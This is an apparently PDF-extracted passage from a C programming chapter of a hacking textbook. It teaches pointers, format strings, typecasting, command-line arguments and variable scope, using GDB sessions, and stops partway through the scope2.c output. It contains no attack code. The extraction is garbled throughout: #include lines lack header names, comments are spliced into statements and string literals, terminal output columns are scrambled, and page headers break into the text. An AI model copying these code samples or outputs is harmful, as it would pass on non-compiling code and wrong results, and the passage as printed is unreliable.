This piece of code uses the printf() function in a slightly different way. It uses something called a format specifier to display the value returned from the sizeof() function calls. Format specifiers will be explained in depth later, so for now, let’s just focus on the program’s output. reader@hacking:~/booksrc $ gcc datatype_sizes.c reader@hacking:~/booksrc $ ./a.out The 'int' data type is 4 bytes The 'unsigned int' data type is 4 bytes The 'short int' data type is 2 bytes The 'long int' data type is 4 bytes The 'long long int' data type is 8 bytes The 'float' data type is 4 bytes The 'char' data type is 1 bytes reader@hacking:~/booksrc $

As previously stated, both signed and unsigned integers are four bytes in size on the x 86 architecture. A float is also four bytes, while a char only needs a single byte. The long and short keywords can also be used with floating-point variables to extend and shorten their sizes.

0x263

Pointers

The EIP register is a pointer that “points” to the current instruction during a program’s execution by containing its memory address. The idea of pointers is used in C, also. Since the physical memory cannot actually be moved, the information in it must be copied. It can be very computationally expensive to copy large chunks of memory to be used by different functions or in different places. This is also expensive from a memory standpoint, since space for the new destination copy must be saved or allocated before the source can be copied. Pointers are a solution to this problem. Instead of copying a large block of memory, it is much simpler to pass around the address of the beginning of that block of memory. Pointers in C can be defined and used like any other variable type. Since memory on the x 86 architecture uses 32-bit addressing, pointers are also 32 bits in size (4 bytes). Pointers are defined by prepending an asterisk (*) to the variable name. Instead of defining a variable of that type, a pointer is defined as something that points to data of that type. The pointer.c program is an example of a pointer being used with the char data type, which is only 1 byte in size.

P rog ra m min g

43

pointer.c
#include #include int main() { char str_a[20]; char *pointer; char *pointer2;

// A 20-element character array // A pointer, meant for a character array // And yet another one

strcpy(str_a, "Hello, world!\n"); pointer = str_a; // Set the first pointer to the start of the array. printf(pointer); pointer2 = pointer + 2; printf(pointer2); strcpy(pointer2, "y you printf(pointer); } // Set the second one 2 bytes further in. // Print it. guys!\n"); // Copy into that spot. // Print again.

As the comments in the code indicate, the first pointer is set at the beginning of the character array. When the character array is referenced like this, it is actually a pointer itself. This is how this buffer was passed as a pointer to the printf() and strcpy() functions earlier. The second pointer is set to the first pointer’s address plus two, and then some things are printed (shown in the output below). reader@hacking:~/booksrc $ gcc -o pointer pointer.c reader@hacking:~/booksrc $ ./pointer Hello, world! llo, world! Hey you guys! reader@hacking:~/booksrc $

Let’s take a look at this with GDB. The program is recompiled, and a breakpoint is set on the tenth line of the source code. This will stop the program after the "Hello, world!\n" string has been copied into the str_a buffer and the pointer variable is set to the beginning of it. reader@hacking:~/booksrc $ gcc -g -o pointer pointer.c reader@hacking:~/booksrc $ gdb -q ./pointer Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 #include 2 #include 3 4 int main() { 5 char str_a[20]; // A 20-element character array 6 char *pointer; // A pointer, meant for a character array

44

0x200

7 char *pointer2; // And yet another one 8 9 strcpy(str_a, "Hello, world!\n"); 10 pointer = str_a; // Set the first pointer to the start of the array. (gdb) 11 printf(pointer); 12 13 pointer2 = pointer + 2; // Set the second one 2 bytes further in. 14 printf(pointer2); // Print it. 15 strcpy(pointer2, "y you guys!\n"); // Copy into that spot. 16 printf(pointer); // Print again. 17 } (gdb) break 11 Breakpoint 1 at 0x80483dd: file pointer.c, line 11. (gdb) run Starting program: /home/reader/booksrc/pointer Breakpoint 1, main () at pointer.c:11 11 printf(pointer); (gdb) x/xw pointer 0xbffff7e0: 0x6c6c6548 (gdb) x/s pointer 0xbffff7e0: "Hello, world!\n" (gdb)

When the pointer is examined as a string, it’s apparent that the given string is there and is located at memory address 0xbffff7e0. Remember that the string itself isn’t stored in the pointer variable—only the memory address 0xbffff7e0 is stored there. In order to see the actual data stored in the pointer variable, you must use the address-of operator. The address-of operator is a unary operator, which simply means it operates on a single argument. This operator is just an ampersand (&) prepended to a variable name. When it’s used, the address of that variable is returned, instead of the variable itself. This operator exists both in GDB and in the C programming language.
(gdb) x/xw &pointer 0xbffff7dc: 0xbffff7e0 (gdb) print &pointer $1 = (char **) 0xbffff7dc (gdb) print pointer $2 = 0xbffff7e0 "Hello, world!\n" (gdb)

When the address-of operator is used, the pointer variable is shown to be located at the address 0xbffff7dc in memory, and it contains the address 0xbffff7e0. The address-of operator is often used in conjunction with pointers, since pointers contain memory addresses. The addressof.c program demonstrates the address-of operator being used to put the address of an integer variable into a pointer. This line is shown in bold below.
P rog ra m min g

45

addressof.c
#include int main() { int int_var = 5; int *int_ptr; int_ptr = &int_var; // put the address of int_var into int_ptr }

The program itself doesn’t actually output anything, but you can probably guess what happens, even before debugging with GDB. reader@hacking:~/booksrc $ gcc -g addressof.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 #include 2 3 int main() { 4 int int_var = 5; 5 int *int_ptr; 6 7 int_ptr = &int_var; // Put the address of int_var into int_ptr. 8 } (gdb) break 8 Breakpoint 1 at 0x8048361: file addressof.c, line 8. (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main () at addressof.c:8 8 } (gdb) print int_var $1 = 5 (gdb) print &int_var $2 = (int *) 0xbffff804 (gdb) print int_ptr $3 = (int *) 0xbffff804 (gdb) print &int_ptr $4 = (int **) 0xbffff800 (gdb)

As usual, a breakpoint is set and the program is executed in the debugger. At this point the majority of the program has executed. The first print command shows the value of int_var, and the second shows its address using the address-of operator. The next two print commands show that int_ptr contains the address of int_var, and they also show the address of the int_ptr for good measure.

46

0x200

An additional unary operator called the dereference operator exists for use with pointers. This operator will return the data found in the address the pointer is pointing to, instead of the address itself. It takes the form of an asterisk in front of the variable name, similar to the declaration of a pointer. Once again, the dereference operator exists both in GDB and in C. Used in GDB, it can retrieve the integer value int_ptr points to.
(gdb) print *int_ptr $5 = 5

A few additions to the addressof.c code (shown in addressof2.c) will demonstrate all of these concepts. The added printf() functions use format parameters, which I’ll explain in the next section. For now, just focus on the program’s output. addressof2.c
#include int main() { int int_var = 5; int *int_ptr; int_ptr = &int_var; // Put the address of int_var into int_ptr. printf("int_ptr = 0x%08x\n", int_ptr); printf("&int_ptr = 0x%08x\n", &int_ptr); printf("*int_ptr = 0x%08x\n\n", *int_ptr); printf("int_var is located at 0x%08x and contains %d\n", &int_var, int_var); printf("int_ptr is located at 0x%08x, contains 0x%08x, and points to %d\n\n", &int_ptr, int_ptr, *int_ptr); }

The results of compiling and executing addressof2.c are as follows. reader@hacking:~/booksrc $ gcc addressof2.c reader@hacking:~/booksrc $ ./a.out int_ptr = 0xbffff834 &int_ptr = 0xbffff830 *int_ptr = 0x00000005 int_var is located at 0xbffff834 and contains 5 int_ptr is located at 0xbffff830, contains 0xbffff834, and points to 5 reader@hacking:~/booksrc $

When the unary operators are used with pointers, the address-of operator can be thought of as moving backward, while the dereference operator moves forward in the direction the pointer is pointing.

P rog ra m min g

47

0x264

Format Strings

The printf() function can be used to print more than just fixed strings. This function can also use format strings to print variables in many different formats. A format string is just a character string with special escape sequences that tell the function to insert variables printed in a specific format in place of the escape sequence. The way the printf() function has been used in the previous programs, the "Hello, world!\n" string technically is the format string; however, it is devoid of special escape sequences. These escape sequences are also called format parameters, and for each one found in the format string, the function is expected to take an additional argument. Each format parameter begins with a percent sign (%) and uses a single-character shorthand very similar to formatting characters used by GDB’s examine command.
Parameter %d
%u %x

Output Type Decimal Unsigned decimal Hexadecimal

All of the preceding format parameters receive their data as values, not pointers to values. There are also some format parameters that expect pointers, such as the following.
Parameter %s
%n

Output Type String Number of bytes written so far

The %s format parameter expects to be given a memory address; it prints the data at that memory address until a null byte is encountered. The %n format parameter is unique in that it actually writes data. It also expects to be given a memory address, and it writes the number of bytes that have been written so far into that memory address. For now, our focus will just be the format parameters used for displaying data. The fmt_strings.c program shows some examples of different format parameters. fmt_strings.c
#include int main() { char string[10]; int A = -73; unsigned int B = 31337; strcpy(string, "sample");

48

0x200

// Example of printing with different format string printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); printf("[field width on B] 3: '%3u', 10: '%10u', '%08u'\n", B, B, B); printf("[string] %s Address %08x\n", string, string); // Example of unary address operator (dereferencing) and a %x format string printf("variable A is at address: %08x\n", &A); }

In the preceding code, additional variable arguments are passed to each printf() call for every format parameter in the format string. The final printf() call uses the argument &A, which will provide the address of the variable A.

The program’s compilation and execution are as follows. reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c reader@hacking:~/booksrc $ ./fmt_strings [A] Dec: -73, Hex: ffffffb7, Unsigned: 4294967223 [B] Dec: 31337, Hex: 7a69, Unsigned: 31337 [field width on B] 3: '31337', 10: ' 31337', '00031337' [string] sample Address bffff870 variable A is at address: bffff86c reader@hacking:~/booksrc $

The first two calls to printf() demonstrate the printing of variables A and B, using different format parameters. Since there are three format parameters in each line, the variables A and B need to be supplied three times each. The %d format parameter allows for negative values, while %u does not, since it is expecting unsigned values. When the variable A is printed using the %u format parameter, it appears as a very high value. This is because A is a negative number stored in two’s complement, and the format parameter is trying to print it as if it were an unsigned value. Since two’s complement flips all the bits and adds one, the very high bits that used to be zero are now one. The third line in the example, labeled [field width on B], shows the use of the field-width option in a format parameter. This is just an integer that designates the minimum field width for that format parameter. However, this is not a maximum field width—if the value to be outputted is greater than the field width, the field width will be exceeded. This happens when 3 is used, since the output data needs 5 bytes. When 10 is used as the field width, 5 bytes of blank space are outputted before the output data. Additionally, if a field width value begins with a 0, this means the field should be padded with zeros. When 08 is used, for example, the output is 00031337. The fourth line, labeled [string], simply shows the use of the %s format parameter. Remember that the variable string is actually a pointer containing the address of the string, which works out wonderfully, since the %s format parameter expects its data to be passed by reference.

P rog ra m min g

49

The final line just shows the address of the variable A, using the unary address operator to dereference the variable. This value is displayed as eight hexadecimal digits, padded by zeros. As these examples show, you should use %d for decimal, %u for unsigned, and %x for hexadecimal values. Minimum field widths can be set by putting a number right after the percent sign, and if the field width begins with 0, it will be padded with zeros. The %s parameter can be used to print strings and should be passed the address of the string. So far, so good. Format strings are used by an entire family of standard I/O functions, including scanf() , which basically works like printf() but is used for input instead of output. One key difference is that the scanf() function expects all of its arguments to be pointers, so the arguments must actually be variable addresses—not the variables themselves. This can be done using pointer variables or by using the unary address operator to retrieve the address of the normal variables. The input.c program and execution should help explain. input.c
#include #include int main() { char message[10]; int count, i; strcpy(message, "Hello, world!"); printf("Repeat how many times? "); scanf("%d", &count); for(i=0; i < count; i++) printf("%3d - %s\n", i, message); }

In input.c, the scanf() function is used to set the count variable. The output below demonstrates its use. reader@hacking:~/booksrc $ gcc -o input input.c reader@hacking:~/booksrc $ ./input Repeat how many times? 3 0 - Hello, world! 1 - Hello, world! 2 - Hello, world! reader@hacking:~/booksrc $ ./input Repeat how many times? 12 0 - Hello, world! 1 - Hello, world! 2 - Hello, world! 3 - Hello, world! 4 - Hello, world! 5 - Hello, world! 6 - Hello, world!

50

0x200

7 - Hello, world! 8 - Hello, world! 9 - Hello, world! 10 - Hello, world! 11 - Hello, world! reader@hacking:~/booksrc $

Format strings are used quite often, so familiarity with them is valuable. In addition, the ability to output the values of variables allows for debugging in the program, without the use of a debugger. Having some form of immediate feedback is fairly vital to the hacker’s learning process, and something as simple as printing the value of a variable can allow for lots of exploitation.

0x265

Typecasting

Typecasting is simply a way to temporarily change a variable’s data type, despite how it was originally defined. When a variable is typecast into a different type, the compiler is basically told to treat that variable as if it were the new data type, but only for that operation. The syntax for typecasting is as follows:
(typecast_data_type) variable

This can be used when dealing with integers and floating-point variables, as typecasting.c demonstrates. typecasting.c
#include int main() { int a, b; float c, d; a = 13; b = 5; c = a / b; d = (float) a / (float) b; // Divide using integers. // Divide integers typecast as floats.

printf("[integers]\t a = %d\t b = %d\n", a, b); printf("[floats]\t c = %f\t d = %f\n", c, d); }

The results of compiling and executing typecasting.c are as follows. reader@hacking:~/booksrc $ gcc typecasting.c reader@hacking:~/booksrc $ ./a.out [integers] a = 13 b = 5 [floats] c = 2.000000 d = 2.600000 reader@hacking:~/booksrc $

P rog ra m min g

51

As discussed earlier, dividing the integer 13 by 5 will round down to the incorrect answer of 2, even if this value is being stored into a floating-point variable. However, if these integer variables are typecast into floats, they will be treated as such. This allows for the correct calculation of 2.6. This example is illustrative, but where typecasting really shines is when it is used with pointer variables. Even though a pointer is just a memory address, the C compiler still demands a data type for every pointer. One reason for this is to try to limit programming errors. An integer pointer should only point to integer data, while a character pointer should only point to character data. Another reason is for pointer arithmetic. An integer is four bytes in size, while a character only takes up a single byte. The pointer_types.c program will demonstrate and explain these concepts further. This code uses the format parameter %p to output memory addresses. This is shorthand meant for displaying pointers and is basically equivalent to 0x%08x. pointer_types.c
#include int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, 3, 4, 5}; char *char_pointer; int *int_pointer; char_pointer = char_array; int_pointer = int_array; for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[integer pointer] points to %p, which contains the integer %d\n", int_pointer, *int_pointer); int_pointer = int_pointer + 1; } for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer. printf("[char pointer] points to %p, which contains the char '%c'\n", char_pointer, *char_pointer); char_pointer = char_pointer + 1; } }

In this code two arrays are defined in memory—one containing integer data and the other containing character data. Two pointers are also defined, one with the integer data type and one with the character data type, and they are set to point at the start of the corresponding data arrays. Two separate for loops iterate through the arrays using pointer arithmetic to adjust the pointer to point at the next value. In the loops, when the integer and character values

52

0x200

are actually printed with the %d and %c format parameters, notice that the corresponding printf() arguments must dereference the pointer variables. This is done using the unary * operator and has been marked above in bold. reader@hacking:~/booksrc reader@hacking:~/booksrc [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to reader@hacking:~/booksrc $ gcc pointer_types.c $ ./a.out to 0xbffff7f0, which contains the integer to 0xbffff7f4, which contains the integer to 0xbffff7f8, which contains the integer to 0xbffff7fc, which contains the integer to 0xbffff800, which contains the integer 0xbffff810, which contains the char 'a' 0xbffff811, which contains the char 'b' 0xbffff812, which contains the char 'c' 0xbffff813, which contains the char 'd' 0xbffff814, which contains the char 'e' $

1 2 3 4 5

Even though the same value of 1 is added to int_pointer and char_pointer in their respective loops, the compiler increments the pointer’s addresses by different amounts. Since a char is only 1 byte, the pointer to the next char would naturally also be 1 byte over. But since an integer is 4 bytes, a pointer to the next integer has to be 4 bytes over. In pointer_types2.c, the pointers are juxtaposed such that the int_pointer points to the character data and vice versa. The major changes to the code are marked in bold. pointer_types2.c
#include int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, 3, 4, 5}; char *char_pointer; int *int_pointer; char_pointer = int_array; // The char_pointer and int_pointer now int_pointer = char_array; // point to incompatible data types. for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[integer pointer] points to %p, which contains the char '%c'\n", int_pointer, *int_pointer); int_pointer = int_pointer + 1; } for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer.

P rog ra m min g

53

printf("[char pointer] points to %p, which contains the integer %d\n", char_pointer, *char_pointer); char_pointer = char_pointer + 1; } }

The output below shows the warnings spewed forth from the compiler. reader@hacking:~/booksrc $ gcc pointer_types2.c pointer_types2.c: In function `main': pointer_types2.c:12: warning: assignment from incompatible pointer type pointer_types2.c:13: warning: assignment from incompatible pointer type reader@hacking:~/booksrc $

In an attempt to prevent programming mistakes, the compiler gives warnings about pointers that point to incompatible data types. But the compiler and perhaps the programmer are the only ones that care about a pointer’s type. In the compiled code, a pointer is nothing more than a memory address, so the compiler will still compile the code if a pointer points to an incompatible data type—it simply warns the programmer to anticipate unexpected results. reader@hacking:~/booksrc [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to reader@hacking:~/booksrc $ ./a.out to 0xbffff810, which contains the char to 0xbffff814, which contains the char to 0xbffff818, which contains the char to 0xbffff81c, which contains the char to 0xbffff820, which contains the char 0xbffff7f0, which contains the integer 0xbffff7f1, which contains the integer 0xbffff7f2, which contains the integer 0xbffff7f3, which contains the integer 0xbffff7f4, which contains the integer $

'a' 'e' '8' ' '?' 1 0 0 0 2

Even though the int_pointer points to character data that only contains 5 bytes of data, it is still typed as an integer. This means that adding 1 to the pointer will increment the address by 4 each time. Similarly, the char_pointer’s address is only incremented by 1 each time, stepping through the 20 bytes of integer data (five 4-byte integers), one byte at a time. Once again, the littleendian byte order of the integer data is apparent when the 4-byte integer is examined one byte at a time. The 4-byte value of 0x00000001 is actually stored in memory as 0x01, 0x00, 0x00, 0x00. There will be situations like this in which you are using a pointer that points to data with a conflicting type. Since the pointer type determines the size of the data it points to, it’s important that the type is correct. As you can see in pointer_types3.c below, typecasting is just a way to change the type of a variable on the fly.

54

0x200

pointer_types3.c
#include int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, 3, 4, 5}; char *char_pointer; int *int_pointer; char_pointer = (char *) int_array; // Typecast into the int_pointer = (int *) char_array; // pointer's data type. for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[integer pointer] points to %p, which contains the char '%c'\n", int_pointer, *int_pointer); int_pointer = (int *) ((char *) int_pointer + 1); } for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer. printf("[char pointer] points to %p, which contains the integer %d\n", char_pointer, *char_pointer); char_pointer = (char *) ((int *) char_pointer + 1); } }

In this code, when the pointers are initially set, the data is typecast into the pointer’s data type. This will prevent the C compiler from complaining about the conflicting data types; however, any pointer arithmetic will still be incorrect. To fix that, when 1 is added to the pointers, they must first be typecast into the correct data type so the address is incremented by the correct amount. Then this pointer needs to be typecast back into the pointer’s data type once again. It doesn’t look too pretty, but it works. reader@hacking:~/booksrc reader@hacking:~/booksrc [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to reader@hacking:~/booksrc $ gcc pointer_types3.c $ ./a.out to 0xbffff810, which contains the char to 0xbffff811, which contains the char to 0xbffff812, which contains the char to 0xbffff813, which contains the char to 0xbffff814, which contains the char 0xbffff7f0, which contains the integer 0xbffff7f4, which contains the integer 0xbffff7f8, which contains the integer 0xbffff7fc, which contains the integer 0xbffff800, which contains the integer $

'a' 'b' 'c' 'd' 'e' 1 2 3 4 5

P rog ra m min g

55

Naturally, it is far easier just to use the correct data type for pointers in the first place; however, sometimes a generic, typeless pointer is desired. In C, a void pointer is a typeless pointer, defined by the void keyword. Experimenting with void pointers quickly reveals a few things about typeless pointers. First, pointers cannot be dereferenced unless they have a type. In order to retrieve the value stored in the pointer’s memory address, the compiler must first know what type of data it is. Secondly, void pointers must also be typecast before doing pointer arithmetic. These are fairly intuitive limitations, which means that a void pointer’s main purpose is to simply hold a memory address. The pointer_types3.c program can be modified to use a single void pointer by typecasting it to the proper type each time it’s used. The compiler knows that a void pointer is typeless, so any type of pointer can be stored in a void pointer without typecasting. This also means a void pointer must always be typecast when dereferencing it, however. These differences can be seen in pointer_types4.c, which uses a void pointer. pointer_types4.c
#include int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, 3, 4, 5}; void *void_pointer; void_pointer = (void *) char_array; for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[char pointer] points to %p, which contains the char '%c'\n", void_pointer, *((char *) void_pointer)); void_pointer = (void *) ((char *) void_pointer + 1); } void_pointer = (void *) int_array; for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[integer pointer] points to %p, which contains the integer %d\n", void_pointer, *((int *) void_pointer)); void_pointer = (void *) ((int *) void_pointer + 1); } }

The results of compiling and executing pointer_types4.c are as follows.

56

0x200

reader@hacking:~/booksrc reader@hacking:~/booksrc [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to [char pointer] points to [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points [integer pointer] points reader@hacking:~/booksrc

$ gcc pointer_types4.c $ ./a.out 0xbffff810, which contains the char 'a' 0xbffff811, which contains the char 'b' 0xbffff812, which contains the char 'c' 0xbffff813, which contains the char 'd' 0xbffff814, which contains the char 'e' to 0xbffff7f0, which contains the integer to 0xbffff7f4, which contains the integer to 0xbffff7f8, which contains the integer to 0xbffff7fc, which contains the integer to 0xbffff800, which contains the integer $

1 2 3 4 5

The compilation and output of this pointer_types4.c is basically the same as that for pointer_types3.c. The void pointer is really just holding the memory addresses, while the hard-coded typecasting is telling the compiler to use the proper types whenever the pointer is used. Since the type is taken care of by the typecasts, the void pointer is truly nothing more than a memory address. With the data types defined by typecasting, anything that is big enough to hold a four-byte value can work the same way as a void pointer. In pointer_types5.c, an unsigned integer is used to store this address. pointer_types5.c
#include int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, 3, 4, 5}; unsigned int hacky_nonpointer; hacky_nonpointer = (unsigned int) char_array; for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[hacky_nonpointer] points to %p, which contains the char '%c'\n", hacky_nonpointer, *((char *) hacky_nonpointer)); hacky_nonpointer = hacky_nonpointer + sizeof(char); } hacky_nonpointer = (unsigned int) int_array; for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[hacky_nonpointer] points to %p, which contains the integer %d\n", hacky_nonpointer, *((int *) hacky_nonpointer)); hacky_nonpointer = hacky_nonpointer + sizeof(int); } }

P rog ra m min g

57

This is rather hacky, but since this integer value is typecast into the proper pointer types when it is assigned and dereferenced, the end result is the same. Notice that instead of typecasting multiple times to do pointer arithmetic on an unsigned integer (which isn’t even a pointer), the sizeof() function is used to achieve the same result using normal arithmetic. reader@hacking:~/booksrc $ gcc pointer_types5.c reader@hacking:~/booksrc $ ./a.out [hacky_nonpointer] points to 0xbffff810, which contains [hacky_nonpointer] points to 0xbffff811, which contains [hacky_nonpointer] points to 0xbffff812, which contains [hacky_nonpointer] points to 0xbffff813, which contains [hacky_nonpointer] points to 0xbffff814, which contains [hacky_nonpointer] points to 0xbffff7f0, which contains [hacky_nonpointer] points to 0xbffff7f4, which contains [hacky_nonpointer] points to 0xbffff7f8, which contains [hacky_nonpointer] points to 0xbffff7fc, which contains [hacky_nonpointer] points to 0xbffff800, which contains reader@hacking:~/booksrc $

the the the the the the the the the the

char 'a' char 'b' char 'c' char 'd' char 'e' integer 1 integer 2 integer 3 integer 4 integer 5

The important thing to remember about variables in C is that the compiler is the only thing that cares about a variable’s type. In the end, after the program has been compiled, the variables are nothing more than memory addresses. This means that variables of one type can easily be coerced into behaving like another type by telling the compiler to typecast them into the desired type.

0x266

Command-Line Arguments

Many nongraphical programs receive input in the form of command-line arguments. Unlike inputting with scanf(), command-line arguments don’t require user interaction after the program has begun execution. This tends to be more efficient and is a useful input method. In C, command-line arguments can be accessed in the main() function by including two additional arguments to the function: an integer and a pointer to an array of strings. The integer will contain the number of arguments, and the array of strings will contain each of those arguments. The commandline.c program and its execution should explain things. commandline.c
#include int main(int arg_count, char *arg_list[]) { int i; printf("There were %d arguments provided:\n", arg_count); for(i=0; i < arg_count; i++) printf("argument #%d\t-\t%s\n", i, arg_list[i]); }

58

0x200

reader@hacking:~/booksrc $ gcc -o commandline commandline.c reader@hacking:~/booksrc $ ./commandline There were 1 arguments provided: argument #0 ./commandline reader@hacking:~/booksrc $ ./commandline this is a test There were 5 arguments provided: argument #0 ./commandline argument #1 this argument #2 is argument #3 a argument #4 test reader@hacking:~/booksrc $

The zeroth argument is always the name of the executing binary, and the rest of the argument array (often called an argument vector) contains the remaining arguments as strings. Sometimes a program will want to use a command-line argument as an integer as opposed to a string. Regardless of this, the argument is passed in as a string; however, there are standard conversion functions. Unlike simple typecasting, these functions can actually convert character arrays containing numbers into actual integers. The most common of these functions is atoi(), which is short for ASCII to integer. This function accepts a pointer to a string as its argument and returns the integer value it represents. Observe its usage in convert.c. convert.c
#include void usage(char *program_name) { printf("Usage: %s \n", program_name); exit(1); } int main(int argc, char *argv[]) { int i, count; if(argc < 3) // If fewer than 3 arguments are used, usage(argv[0]); // display usage message and exit. count = atoi(argv[2]); // Convert the 2nd arg into an integer. printf("Repeating %d times..\n", count); for(i=0; i < count; i++) printf("%3d - %s\n", i, argv[1]); // Print the 1st arg. }

The results of compiling and executing convert.c are as follows. reader@hacking:~/booksrc $ gcc convert.c reader@hacking:~/booksrc $ ./a.out Usage: ./a.out

P rog ra m min g

59

reader@hacking:~/booksrc $ ./a.out 'Hello, world!' 3 Repeating 3 times.. 0 - Hello, world! 1 - Hello, world! 2 - Hello, world! reader@hacking:~/booksrc $

In the preceding code, an if statement makes sure that three arguments are used before these strings are accessed. If the program tries to access memory that doesn’t exist or that the program doesn’t have permission to read, the program will crash. In C it’s important to check for these types of conditions and handle them in program logic. If the error-checking if statement is commented out, this memory violation can be explored. The convert2.c program should make this more clear. convert2.c
#include void usage(char *program_name) { printf("Usage: %s \n", program_name); exit(1); } int main(int argc, char *argv[]) { int i, count; // // if(argc < 3) // If fewer than 3 arguments are used, usage(argv[0]); // display usage message and exit. count = atoi(argv[2]); // Convert the 2nd arg into an integer. printf("Repeating %d times..\n", count); for(i=0; i < count; i++) printf("%3d - %s\n", i, argv[1]); // Print the 1st arg. }

The results of compiling and executing convert2.c are as follows. reader@hacking:~/booksrc reader@hacking:~/booksrc Segmentation fault (core reader@hacking:~/booksrc $ gcc convert2.c $ ./a.out test dumped) $

When the program isn’t given enough command-line arguments, it still tries to access elements of the argument array, even though they don’t exist. This results in the program crashing due to a segmentation fault. Memory is split into segments (which will be discussed later), and some memory addresses aren’t within the boundaries of the memory segments the program is given access to. When the program attempts to access an address that is out of bounds, it will crash and die in what’s called a segmentation fault. This effect can be explored further with GDB.
60
0x200

reader@hacking:~/booksrc $ gcc -g convert2.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run test Starting program: /home/reader/booksrc/a.out test Program received signal SIGSEGV, Segmentation fault. 0xb7ec819b in ?? () from /lib/tls/i686/cmov/libc.so.6 (gdb) where #0 0xb7ec819b in ?? () from /lib/tls/i686/cmov/libc.so.6 #1 0xb800183c in ?? () #2 0x00000000 in ?? () (gdb) break main Breakpoint 1 at 0x8048419: file convert2.c, line 14. (gdb) run test The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/a.out test Breakpoint 1, main (argc=2, argv=0xbffff894) at convert2.c:14 14 count = atoi(argv[2]); // convert the 2nd arg into an integer (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0xb7ec819b in ?? () from /lib/tls/i686/cmov/libc.so.6 (gdb) x/3xw 0xbffff894 0xbffff894: 0xbffff9b3 0xbffff9ce 0x00000000 (gdb) x/s 0xbffff9b3 0xbffff9b3: "/home/reader/booksrc/a.out" (gdb) x/s 0xbffff9ce 0xbffff9ce: "test" (gdb) x/s 0x00000000 0x0: (gdb) quit The program is running. Exit anyway? (y or n) y reader@hacking:~/booksrc $

The program is executed with a single command-line argument of test within GDB, which causes the program to crash. The where command will sometimes show a useful backtrace of the stack; however, in this case, the stack was too badly mangled in the crash. A breakpoint is set on main and the program is re-executed to get the value of the argument vector (shown in bold). Since the argument vector is a pointer to list of strings, it is actually a pointer to a list of pointers. Using the command x/3xw to examine the first three memory addresses stored at the argument vector’s address shows that they are themselves pointers to strings. The first one is the zeroth argument, the second is the test argument, and the third is zero, which is out of bounds. When the program tries to access this memory address, it crashes with a segmentation fault.

P rog ra m min g

61

0x267

Variable Scoping

Another interesting concept regarding memory in C is variable scoping or context—in particular, the contexts of variables within functions. Each function has its own set of local variables, which are independent of everything else. In fact, multiple calls to the same function all have their own contexts. You can use the printf() function with format strings to quickly explore this; check it out in scope.c. scope.c
#include void func3() { int i = 11; printf("\t\t\t[in func3] i = %d\n", i); } void func2() { int i = 7; printf("\t\t[in func2] i = %d\n", i); func3(); printf("\t\t[back in func2] i = %d\n", i); } void func1() { int i = 5; printf("\t[in func1] i = %d\n", i); func2(); printf("\t[back in func1] i = %d\n", i); } int main() { int i = 3; printf("[in main] i = %d\n", i); func1(); printf("[back in main] i = %d\n", i); }

The output of this simple program demonstrates nested function calls. reader@hacking:~/booksrc $ gcc scope.c reader@hacking:~/booksrc $ ./a.out [in main] i = 3 [in func1] i = 5 [in func2] i = 7 [in func3] i = 11 [back in func2] i = 7 [back in func1] i = 5 [back in main] i = 3 reader@hacking:~/booksrc $

62

0x200

In each function, the variable i is set to a different value and printed. Notice that within the main() function, the variable i is 3, even after calling func1() where the variable i is 5. Similarly, within func1() the variable i remains 5, even after calling func2() where i is 7, and so forth. The best way to think of this is that each function call has its own version of the variable i . Variables can also have a global scope, which means they will persist across all functions. Variables are global if they are defined at the beginning of the code, outside of any functions. In the scope2.c example code shown below, the variable j is declared globally and set to 42. This variable can be read from and written to by any function, and the changes to it will persist between functions. scope2.c
#include int j = 42; // j is a global variable. void func3() { int i = 11, j = 999; // Here, j is a local variable of func3(). printf("\t\t\t[in func3] i = %d, j = %d\n", i, j); } void func2() { int i = 7; printf("\t\t[in func2] i = %d, j = %d\n", i, j); printf("\t\t[in func2] setting j = 1337\n"); j = 1337; // Writing to j func3(); printf("\t\t[back in func2] i = %d, j = %d\n", i, j); } void func1() { int i = 5; printf("\t[in func1] i = %d, j = %d\n", i, j); func2(); printf("\t[back in func1] i = %d, j = %d\n", i, j); } int main() { int i = 3; printf("[in main] i = %d, j = %d\n", i, j); func1(); printf("[back in main] i = %d, j = %d\n", i, j); }

The results of compiling and executing scope2.c are as follows. reader@hacking:~/booksrc $ gcc scope2.c reader@hacking:~/booksrc $ ./a.out [in main] i = 3, j = 42
